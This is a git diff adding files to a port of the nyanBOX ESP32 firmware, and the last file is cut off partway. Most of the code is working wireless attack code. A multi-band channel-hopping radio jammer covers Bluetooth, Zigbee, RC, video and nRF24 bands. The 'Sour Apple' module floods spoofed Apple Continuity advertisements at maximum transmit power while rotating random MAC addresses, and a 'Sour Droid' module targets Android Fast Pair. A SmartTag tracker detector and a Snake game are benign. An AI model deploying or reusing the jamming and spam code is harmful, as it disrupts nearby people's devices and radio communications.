sizeof(bluetooth_channels[0])); + + channel1 = bluetooth_channels[randomIndex1]; + channel2 = bluetooth_channels[randomIndex2]; + channel3 = bluetooth_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + + case BLE: + randomIndex1 = random(0, sizeof(ble_channels) / sizeof(ble_channels[0])); + randomIndex2 = random(0, sizeof(ble_channels) / sizeof(ble_channels[0])); + randomIndex3 = random(0, sizeof(ble_channels) / sizeof(ble_channels[0])); + + channel1 = ble_channels[randomIndex1]; + channel2 = ble_channels[randomIndex2]; + channel3 = ble_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + + case VIDEO_TX: + randomIndex1 = random(0, sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])); + randomIndex2 = random(0, sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])); + randomIndex3 = random(0, sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])); + + channel1 = videoTransmitter_channels[randomIndex1]; + channel2 = videoTransmitter_channels[randomIndex2]; + channel3 = videoTransmitter_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + + case RC: + randomIndex1 = random(0, sizeof(rc_channels) / sizeof(rc_channels[0])); + randomIndex2 = random(0, sizeof(rc_channels) / sizeof(rc_channels[0])); + randomIndex3 = random(0, sizeof(rc_channels) / sizeof(rc_channels[0])); + + channel1 = rc_channels[randomIndex1]; + channel2 = rc_channels[randomIndex2]; + channel3 = rc_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + + case USB_WIRELESS: + randomIndex1 = random(0, sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); + randomIndex2 = random(0, sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); + randomIndex3 = random(0, sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); + + channel1 = usbWireless_channels[randomIndex1]; + channel2 = usbWireless_channels[randomIndex2]; + channel3 = usbWireless_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + + case ZIGBEE: + randomIndex1 = random(0, sizeof(zigbee_channels) / sizeof(zigbee_channels[0])); + randomIndex2 = random(0, sizeof(zigbee_channels) / sizeof(zigbee_channels[0])); + randomIndex3 = random(0, sizeof(zigbee_channels) / sizeof(zigbee_channels[0])); + + channel1 = zigbee_channels[randomIndex1]; + channel2 = zigbee_channels[randomIndex2]; + channel3 = zigbee_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + + case NRF24: + randomIndex1 = random(0, sizeof(nrf24_channels) / sizeof(nrf24_channels[0])); + randomIndex2 = random(0, sizeof(nrf24_channels) / sizeof(nrf24_channels[0])); + randomIndex3 = random(0, sizeof(nrf24_channels) / sizeof(nrf24_channels[0])); + + channel1 = nrf24_channels[randomIndex1]; + channel2 = nrf24_channels[randomIndex2]; + channel3 = nrf24_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + } + } + + if (left && now - lastButtonPress > debounceDelay) { + powerDownRadios(); + currentMode = SIG_MENU; + needsRedraw = true; + lastButtonPress = now; + } + break; + } +} \ No newline at end of file diff --git a/cyd-port/src/smarttag_detector.cpp b/cyd-port/src/smarttag_detector.cpp new file mode 100644 index 0000000..f9d2860 --- /dev/null +++ b/cyd-port/src/smarttag_detector.cpp @@ -0,0 +1,585 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/smarttag_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +namespace { + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct SmartTagDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + unsigned long lastSeen; + bool isSmartTag; +}; + +static std::vector smarttagDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +bool hasSmartTagServiceUUID(uint8_t *adv_data, uint8_t adv_data_len) { + uint8_t uuid16_len = 0; + uint8_t *uuid16_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_CMPL, &uuid16_len); + + if (uuid16_data != NULL && uuid16_len >= 2) { + for (int i = 0; i + 2 <= uuid16_len; i += 2) { + uint16_t uuid16 = uuid16_data[i] | (uuid16_data[i + 1] << 8); + if (uuid16 == 0xFD5A) { + return true; + } + } + } + + uuid16_len = 0; + uuid16_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_PART, &uuid16_len); + + if (uuid16_data != NULL && uuid16_len >= 2) { + for (int i = 0; i + 2 <= uuid16_len; i += 2) { + uint16_t uuid16 = uuid16_data[i] | (uuid16_data[i + 1] << 8); + if (uuid16 == 0xFD5A) { + return true; + } + } + } + + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + unsigned long now = millis(); + for (size_t i = 0; i < smarttagDevices.size(); i++) { + if (strcmp(smarttagDevices[i].address, addrStr) == 0) { + smarttagDevices[i].rssi = scan_result->scan_rst.rssi; + smarttagDevices[i].lastSeen = now; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(smarttagDevices[i].name, adv_name, adv_name_len); + smarttagDevices[i].name[adv_name_len] = '\0'; + } + + if (!isLocateMode) { + std::sort(smarttagDevices.begin(), smarttagDevices.end(), + [](const SmartTagDeviceData &a, const SmartTagDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + bool isSmartTagDevice = hasSmartTagServiceUUID(scan_result->scan_rst.ble_adv, + scan_result->scan_rst.adv_data_len); + + if (!isSmartTagDevice) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (smarttagDevices.size() >= MAX_DEVICES) { + return; + } + + if (isLocateMode) return; + + SmartTagDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = now; + newDev.isSmartTag = true; + strcpy(newDev.name, "SmartTag"); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + } + + smarttagDevices.push_back(newDev); + + std::sort(smarttagDevices.begin(), smarttagDevices.end(), + [](const SmartTagDeviceData &a, const SmartTagDeviceData &b) { + return a.rssi > b.rssi; + }); + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +} + +void smarttagDetectorSetup() { + smarttagDevices.clear(); + smarttagDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "SmartTag devices..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void smarttagDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)smarttagDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)smarttagDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "SmartTag devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)smarttagDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (smarttagDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (smarttagDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (smarttagDevices.size() >= MAX_DEVICES) { + std::sort(smarttagDevices.begin(), smarttagDevices.end(), + [](const SmartTagDeviceData &a, const SmartTagDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + smarttagDevices.erase(smarttagDevices.begin(), + smarttagDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)smarttagDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !smarttagDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !smarttagDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, smarttagDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (smarttagDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)smarttagDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)smarttagDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (smarttagDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (smarttagDevices.empty()) { + if (isContinuousScanEnabled()) { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "SmartTag devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No SmartTags found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = smarttagDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + auto &dev = smarttagDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "SmartTags: %d/%d", (int)smarttagDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)smarttagDevices.size()) + break; + auto &d = smarttagDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + char maskedName[33]; + maskName(d.name, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/snake.cpp b/cyd-port/src/snake.cpp new file mode 100644 index 0000000..12b113e --- /dev/null +++ b/cyd-port/src/snake.cpp @@ -0,0 +1,162 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include +#include +#include "snake.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define EEPROM_ADDRESS_HIGHSCORE_LOW 103 +#define EEPROM_ADDRESS_HIGHSCORE_HIGH 104 + +static uint8_t snakeX[SNAKE_MAX]; +static uint8_t snakeY[SNAKE_MAX]; +static uint16_t snakeLen; +static uint8_t dir; +static uint8_t appleX, appleY; +static unsigned long lastMove; +static const unsigned long INTERVAL = 200; +static uint16_t score = 0; +static uint16_t highScore = 0; +static uint16_t savedHighScore = 0; + +static bool needsRedraw = true; +static uint8_t lastDir = 0; + +void loadHighScore() { + uint8_t scoreLow = EEPROM.read(EEPROM_ADDRESS_HIGHSCORE_LOW); + uint8_t scoreHigh = EEPROM.read(EEPROM_ADDRESS_HIGHSCORE_HIGH); + uint16_t loadedScore = (scoreHigh << 8) | scoreLow; + + if (loadedScore == 0xFFFF || loadedScore > 512) { + highScore = 0; + savedHighScore = 0; + } else { + highScore = loadedScore; + savedHighScore = loadedScore; + } +} + +void saveHighScore() { + if (highScore > savedHighScore && highScore <= 512) { + EEPROM.write(EEPROM_ADDRESS_HIGHSCORE_LOW, highScore & 0xFF); + EEPROM.write(EEPROM_ADDRESS_HIGHSCORE_HIGH, (highScore >> 8) & 0xFF); + EEPROM.commit(); + savedHighScore = highScore; + } +} + +void resetSnake(){ + snakeLen = 3; + score = 0; + snakeX[0] = SNAKE_COLS/2; snakeY[0] = SNAKE_ROWS/2; + snakeX[1] = snakeX[0] - 1; snakeY[1] = snakeY[0]; + snakeX[2] = snakeX[1] - 1; snakeY[2] = snakeY[0]; + dir = 1; + appleX = random(SNAKE_COLS); + appleY = random(SNAKE_ROWS); + lastMove = millis(); + needsRedraw = true; +} + +void snakeSetup(){ + randomSeed((uint32_t)esp_random()); + loadHighScore(); + resetSnake(); + needsRedraw = true; + lastDir = dir; +} + +void snakeLoop(){ + if(digitalRead(BUTTON_PIN_UP)==LOW && dir!=2) { + dir=0; + } + else if(digitalRead(BUTTON_PIN_RIGHT)==LOW && dir!=3) { + dir=1; + } + else if(digitalRead(BUTTON_PIN_DOWN)==LOW && dir!=0) { + dir=2; + } + else if(digitalRead(BUTTON_PIN_LEFT)==LOW && dir!=1) { + dir=3; + } + + if(lastDir != dir) { + lastDir = dir; + needsRedraw = true; + } + + if(millis() - lastMove >= INTERVAL){ + lastMove = millis(); + needsRedraw = true; + for(int i=snakeLen; i>0; i--){ + snakeX[i] = snakeX[i-1]; + snakeY[i] = snakeY[i-1]; + } + switch(dir){ + case 0: snakeY[0] = snakeY[0] ? snakeY[0]-1 : SNAKE_ROWS-1; break; + case 1: snakeX[0] = snakeX[0] < SNAKE_COLS-1 ? snakeX[0]+1 : 0; break; + case 2: snakeY[0] = snakeY[0] < SNAKE_ROWS-1 ? snakeY[0]+1 : 0; break; + case 3: snakeX[0] = snakeX[0] ? snakeX[0]-1 : SNAKE_COLS-1; break; + } + for(int i=1; i highScore) { + highScore = score; + } + resetSnake(); + return; + } + } + if(snakeX[0]==appleX && snakeY[0]==appleY){ + score++; + if(score>highScore) { + highScore = score; + } + if(snakeLen < SNAKE_MAX-1) snakeLen++; + appleX = random(SNAKE_COLS); + appleY = random(SNAKE_ROWS); + } + } + + if(!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.setCursor(0,10); u8g2.print("Score:"); u8g2.print(score); + u8g2.setCursor(64,10); u8g2.print("Hi:"); u8g2.print(highScore); + u8g2.drawBox(appleX*SNAKE_CELL, appleY*SNAKE_CELL, SNAKE_CELL, SNAKE_CELL); + for(int i=0; i> 0x08) & 0xFF), + (uint8_t)((model.value >> 0x00) & 0xFF), + 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, + (uint8_t)random(256), (uint8_t)random(256), (uint8_t)random(256), + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; + memcpy(data, applePacket, 31); + *len = 31; + } else { + const ContinuityAction &action = continuity_actions[random(sizeof(continuity_actions)/sizeof(continuity_actions[0]))]; + uint8_t applePacket[11] = { + 0x0A, 0xff, 0x4c, 0x00, 0x0F, 0x05, 0xC0, + action.value, + (uint8_t)random(256), (uint8_t)random(256), (uint8_t)random(256) + }; + memcpy(data, applePacket, 11); + *len = 11; + } +} + +void executeSpam() { + if (!bleInitialized) { + initBLE(); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN, ESP_PWR_LVL_P9); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); + bleInitialized = true; + } + + static int macChangeCounter = 0; + if (++macChangeCounter % 10 == 0) { + uint8_t mac[6] = { + (uint8_t)(random(256) | 0xC0), + (uint8_t)random(256), + (uint8_t)random(256), + (uint8_t)random(256), + (uint8_t)random(256), + (uint8_t)random(256) + }; + esp_ble_gap_set_rand_addr(mac); + } + + uint8_t advData[31]; + uint8_t advDataLen = 0; + getAdvertisementData(advData, &advDataLen); + + esp_ble_gap_config_adv_data_raw(advData, advDataLen); + esp_ble_gap_start_advertising(&adv_params); + + delay(5); +} + +static void drawDisplay() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_profont11_tf); + + u8g2.drawStr(0, 10, "Sour Apple"); + u8g2.drawLine(0, 12, u8g2.getUTF8Width("Sour Apple"), 12); + + u8g2.drawStr(0, 30, "Status:"); + u8g2.setCursor(50, 30); + u8g2.print(isSpamming ? "Active" : "Stopped"); + + u8g2.setCursor(0, 45); + u8g2.print("Packets: "); + u8g2.print(count); + + u8g2.setFont(u8g2_font_4x6_tr); + u8g2.drawStr(0, 62, "UP: Start/Stop"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void sourappleSetup() { + count = 0; + isSpamming = false; + bleInitialized = false; + needsRedraw = true; + lastDisplayedCount = 0; + lastDisplayUpdate = 0; + drawDisplay(); + delay(500); +} + +void sourappleLoop() { + static unsigned long lastButtonCheck = 0; + static unsigned long lastSpam = 0; + static unsigned long spamDelay = 20; + static bool wasSpamming = false; + unsigned long now = millis(); + + if (now - lastButtonCheck > 300) { + if (digitalRead(BUTTON_PIN_UP) == LOW) { + isSpamming = !isSpamming; + + if (!isSpamming && wasSpamming && bleInitialized) { + esp_ble_gap_stop_advertising(); + delay(100); + } + + drawDisplay(); + delay(500); + lastButtonCheck = now; + } + } + + if (wasSpamming != isSpamming) { + wasSpamming = isSpamming; + needsRedraw = true; + } + + if (isSpamming && now - lastSpam > spamDelay) { + executeSpam(); + count++; + + if (count > 99999) { + count = 0; + } + + lastSpam = now; + } + + if (!isSpamming && now - lastDisplayUpdate >= displayUpdateInterval) { + lastDisplayUpdate = now; + needsRedraw = true; + } + + if (isSpamming && now - lastDisplayUpdate >= displayUpdateInterval) { + lastDisplayUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + drawDisplay(); + lastDisplayedCount = count; + needsRedraw = false; + } +} \ No newline at end of file diff --git a/cyd-port/src/sourdroid.cpp b/cyd-port/src/sourdroid.cpp new file mode 100644 index 0000000..cf17d65 --- /dev/null +++ b/cyd-port/src/sourdroid.cpp @@ -0,0 +1,964 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/pindefs.h" +#include "../include/sourdroid.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include +#include +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +enum SourDroidMode { + SOURDROID_MENU, + SOURDROID_FASTPAIR, + SOURDROID_EASYSETUP, + SOURDROID_ALL +}; + +static SourDroidMode sourDroidMode = SOURDROID_MENU; +static int menuSelection = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceDelay = 200; +static bool bleInitialized = false; +static bool isCurrentlyAdvertising = false; +static bool needsRedraw = true; +static unsigned long lastActiveUpdate = 0; +const unsigned long activeUpdateInterval = 1000; +static uint16_t currentModelIndex = 0; + +static esp_ble_adv_params_t adv_params = { + .adv_int_min = 0x20, + .adv_int_max = 0x40, + .adv_type = ADV_TYPE_IND, + .own_addr_type = BLE_ADDR_TYPE_RANDOM, + .channel_map = 